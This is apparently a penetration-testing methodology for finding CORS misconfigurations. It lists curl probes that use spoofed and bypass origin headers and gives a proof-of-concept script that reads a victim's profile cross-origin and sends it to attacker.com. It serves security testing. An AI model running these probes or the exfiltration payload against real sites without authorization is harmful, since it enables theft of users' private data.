Attack Cors

CORS Misconfiguration Attack

Objective

Identify Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-origin access to sensitive data or APIs.

Testing Methodology

Phase 1: Origin Reflection Detection

Test if the server reflects arbitrary origins in Access-Control-Allow-Origin:

# Automated CORS checker (bundled script)
attack_script cors_checker https://TARGET/api/endpoint --json-output

Manual tests:

# Arbitrary origin
curl -s -H "Origin: https://evil.com" TARGET_URL -D- | grep -i "access-control"

# Subdomain bypass
curl -s -H "Origin: https://TARGET.evil.com" TARGET_URL -D-

# Null origin
curl -s -H "Origin: null" TARGET_URL -D-

# HTTP downgrade
curl -s -H "Origin: http://TARGET" TARGET_URL -D-

Phase 2: Bypass Techniques

# Backtick bypass
curl -s -H "Origin: https://TARGET%60.evil.com" TARGET_URL -D-

# Underscore bypass
curl -s -H "Origin: https://TARGET_.evil.com" TARGET_URL -D-

# CRLF injection
curl -s -H "Origin: https://evil.com%0d%0a" TARGET_URL -D-

# Prefix matching bypass
curl -s -H "Origin: https://evil-TARGET" TARGET_URL -D-

Phase 3: Impact Verification

If ACAO reflects attacker origin + ACAC is true:

<!-- PoC: reads victim data cross-origin -->
<script>
fetch('https://TARGET/api/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))))
</script>

What Constitutes a Finding

Evidence Requirements

• Request with attacker Origin header
• Response showing Access-Control-Allow-Origin reflection
• Response showing Access-Control-Allow-Credentials: true
• PoC HTML demonstrating cross-origin data access

Tools

• attack_script cors_checker — automated multi-origin testing
• curl — manual header injection
• Browser DevTools — verify CORS behavior

References

• PortSwigger: CORS
• OWASP: CORS Misconfiguration